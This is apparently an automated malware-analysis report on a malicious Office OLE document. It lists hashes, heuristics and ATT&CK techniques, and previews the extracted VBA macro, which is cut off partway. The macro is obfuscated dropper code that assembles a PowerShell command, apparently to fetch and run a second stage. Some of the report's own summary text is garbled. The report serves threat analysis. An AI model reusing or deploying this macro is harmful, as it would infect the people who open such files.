Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7c77d8edfbcc3561…

MALICIOUS

Office (OLE)

83.9 KB First seen: 2019-04-18
MD5: 0df842f64d13880ed50ec3ac42afd86e SHA-1: 7646382b3ab749a992cf0e0d53415e514a2a449e SHA-256: 7c77d8edfbcc3561ebd8e3ff12038eaa28d70d1d8f7728563ac0f98501c5adc4
62 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The macros construct a string that appears to be a command to download and execute a second-stage payload. The constructed string is 'Hello . ( $verB oSEPREfEreNCE.tOSIRing()[1,3+ 'X'-JOIN')($SET 'OFs' '' )'. The large slack space in the OLE file is also indicative of obfuscation or packed content.

Heuristics 3

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 85,897 bytes but its declared streams total only 34,994 bytes — 50,903 bytes (59%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4811 bytes
SHA-256: 75547d5309f7102f3c951e966c6b67fbddabbd5701a59d8da63870c5faae2398
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UXDdtHjMV"
Function KzqKNwzlW()
On Error Resume Next
tAKfZ = (BbtuaI * 83823 + 49912 * CInt(wsrWP - CDbl(84044)) * 84113 * Oct(75173))
sQkklJLIwqG = "Hel" + "l  " + ". " + "( $" + "ve" + "rB"
QMTMTi = (dhOTS * 65898 + 65935 * CInt(smBmR - CDbl(69428)) * 54529 * Oct(18621))
bzPiN = "oSE" + "PRE" + "fE" + "reN" + "CE."
XJmaJq = (BNiOM * 13442 + 78933 * CInt(PWzad - CDbl(13246)) * 63968 * Oct(27215))
uorNvupfup = "tOS" + "TRI" + "ng" + "()" + "[1,"
SidpF = (voDVo * 18927 + 85099 * CInt(TqqRFD - CDbl(37134)) * 21570 * Oct(71951))
TltRZD = "3]+" + "'X'" + "-JO" + "IN'" + "')("
uWvmBj = (qvcHfN * 66628 + 91787 * CInt(iaJlAz - CDbl(44810)) * 46056 * Oct(57056))
khvwYm = Chr(34) + "$" + "(S" + "ET " + "'OF" + "s' "
mpbKqH = (fviaIm * 43611 + 57737 * CInt(OQqodH - CDbl(42447)) * 26871 * Oct(39799))
CJFWvtX = " ''" + " )" + " " + Chr(34) + " "
KzqKNwzlW = sQkklJLIwqG + bzPiN + uorNvupfup + TltRZD + khvwYm + CJFWvtX
BzzwzX = (RtCOl * 71792 + 30 * CInt(imMRan - CDbl(75021)) * 14247 * Oct(4202))
End Function
Function RSTvQF()
On Error Resume Next
HhpGfT = (pwGti * 99109 + 68346 * CInt(zVdbj - CDbl(55351)) * 59398 * Oct(81329))
VQobPb = "+[S" + "TR" + "IN" + "G]" + "([C" + "haR" + "[]]"
uUJwu = (OsuMs * 80230 + 37984 * CInt(OjBvn - CDbl(88030)) * 87065 * Oct(98818))
SzVDYw = "( " + "0 " + ",85" + ",11" + "4 ," + "70"
dOaSJf = (HcrnL * 21304 + 18821 * CInt(vtrAn - CDbl(75621)) * 83216 * Oct(25689))
FzpAuLlD = " ,6" + "6," + " 1" + "15,"
KOsihr = (IvhfiT * 72387 + 8784 * CInt(cFQwj - CDbl(97868)) * 5777 * Oct(49337))
bMEQYmh = " 4" + " ," + "25" + ", " + "4,7" + "4 ," + "65"
AtCsLA = (AuIunk * 49681 + 70292 * CInt(fQidib - CDbl(15077)) * 75298 * Oct(76382))
dkrjEOvOuzw = " , " + "83" + " ,9" + " ," + " 7" + "5,"
ibOzL = (Szhzu * 30365 + 69227 * CInt(thYcJZ - CDbl(83415)) * 60095 * Oct(60614))
KYUWdpLjYl = " 70" + " , " + "78" + " ," + " 6" + "5, "
RSTvQF = VQobPb + SzVDYw + FzpAuLlD + bMEQYmh + dkrjEOvOuzw + KYUWdpLjYl
BiYvC = (lOFzR * 20825 + 72601 * CInt(ziVmsm - CDbl(735)) * 29277 * Oct(62173))
End Function
Function FvFimOnvi()
On Error Resume Next
jACidO = (CvLwc * 75060 + 43618 * CInt(ILfKkP - CDbl(67451)) * 92702 * Oct(57001))
pwqozNW = "71" + ", " + "80" + ", 4"
aDEmsD = (CbLBWG * 71810 + 81567 * CInt(OPawUv - CDbl(97207)) * 82134 * Oct(69662))
FzRLDki = " , " + "86," + "69 " + ",74" + ", 6" + "4," + " 75"
UEwiAE = (zCKPQ * 5453 + 15997 * CInt(aLKum - CDbl(9581)) * 88881 * Oct(39004))
CzTpk = ",7" + "3 " + ",3" + "1," + "0," + " 8" + "2,"
ATVjK = (FNCSih * 11722 + 87862 * CInt(zzHif - CDbl(30227)) * 97003 * Oct(23678))
ofJwaE = "125" + " , " + "64"
kuknw = (Vakrhj * 65644 + 84783 * CInt(YFBOkZ - CDbl(60010)) * 39313 * Oct(33730))
XlKPpEcAiVD = " , " + "70 " + ", " + "81" + " ," + " 4 "
FvFimOnvi = pwqozNW + FzRLDki + CzTpk + ofJwaE + XlKPpEcAiVD
wpzLop = (HDwQt * 33761 + 33648 * CInt(wHzOL - CDbl(57716)) * 29945 * Oct(9653))
End Function
Function KwjzsOqdA()
On Error Resume Next
KZOkb = (EZTnzI * 46665 + 28404 * CInt(CjZivX - CDbl(58476)) * 77014 * Oct(69648))
DWJGYM = ", " + "25" + " ," + "4 " + ", 7" + "4 ,"
oSiFF = (jkiBO * 52023 + 33419 * CInt(LrradR - CDbl(92326)) * 46450 * Oct(86457))
LHBqMvqpFn = " 6" + "5 ," + "83" + ", " + "9, "
MfElJ = (fldanZ * 44057 + 38366 * CInt(RTYtN - CDbl(62952)) * 52440 * Oct(28653))
iawiqpDw = "75 " + ", 7" + "0 " + ", 7" + "8 ," + " 65"
KwjzsOqdA = DWJGYM + LHBqMvqpFn + iawiqpDw
SDjDKS = (QZjta * 33048 + 91470 * CInt(jWczqs - CDbl(73534)) * 40029 * Oct(44439))
End Function
Function whBlhTt()
On Error Resume Next
LwXif = (lQLTF * 27171 + 53786 * CInt(LNXAqa - CDbl(74986)) * 1526 * Oct(45143))
ZlbzCB = " , " + "71" + ",8"
KqDiYA = (iJqwUp * 72408 + 87209 * CInt(IJFcU - CDbl(41303)) * 88728 * Oct(2522))
wCvnan = "0," + "4 " + ", " + "119" + ", " + "93 " + ", "
dVliwa = (baUpR * 13716 + 85190 * CInt(nXElc - CDbl(82430)) * 44878 * Oct(72268))
WpTmsLUobN = "87" + " , " + "80," + " 65" + ",73" + ",1"
whBlhTt = ZlbzCB + wCvnan + WpTmsLUobN
iSduv = (owCruf * 88796 + 8677 * CInt(QntPR - CDbl(8247)) * 89468 * Oct(2
... (truncated)